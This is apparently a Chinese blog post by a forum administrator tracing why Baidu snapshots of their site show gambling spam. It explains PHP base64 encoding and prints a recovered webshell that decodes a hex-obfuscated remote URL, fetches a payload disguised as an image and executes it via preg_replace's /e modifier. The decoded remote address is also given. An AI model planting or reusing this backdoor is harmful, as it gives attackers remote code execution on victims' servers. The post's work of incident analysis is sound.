最近很郁闷,遇到一个很棘手的问题。我们公司有个论坛在百度查看快照信息的时候全部都是博彩信息,但是打开却无博彩信息显示。在快照中查看是这样的
百度快照查看图:
经过思考,怀疑是网站中有网页被改动了,在某页面加了判断,如果来源为搜索引擎的抓取就显示博彩信息。但是使用editplus文件搜索如: baidu\spider\http等也无效。通过百度搜索别人也遇到相似的问题,入侵者将要写入的信息加密,通过通用的关键字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法
1、base64加密
string base64_encode ( string $data )
使用 base64 对 data 进行编码。
设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。
Base64-encoded 数据要比原始数据多占用 33% 左右的空间。
string base64_decode ( string $data [, bool $strict = false ] )
对 base64 编码的 data 进行解码。
参数
data -- 编码过的数据。
strict -- 如果输入的数据超出了 base64 字母表,则返回 FALSE。
我遇到的就是这种情况
2、使用对称加密方法
Webshell代码如下:
1 2 3 4 5 6 7 8 9 | <?php error_reporting (0); session_start(); header( "Content-type:text/html;charset=utf-8" ); if ( empty ( $_SESSION [ 'api' ])) $_SESSION [ 'api' ]= substr ( file_get_contents ( sprintf( '%s?%s' ,pack( "H*" , '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace( "~(.*)~ies" ,gzuncompress( $_SESSION [ 'api' ]),null); ?> |
关键看下面这句代码,
1 | sprintf( '%s?%s' ,pack( "H*" ,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid()) |
这里执行之后其实是一张图片,解密出来的图片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
更多参考: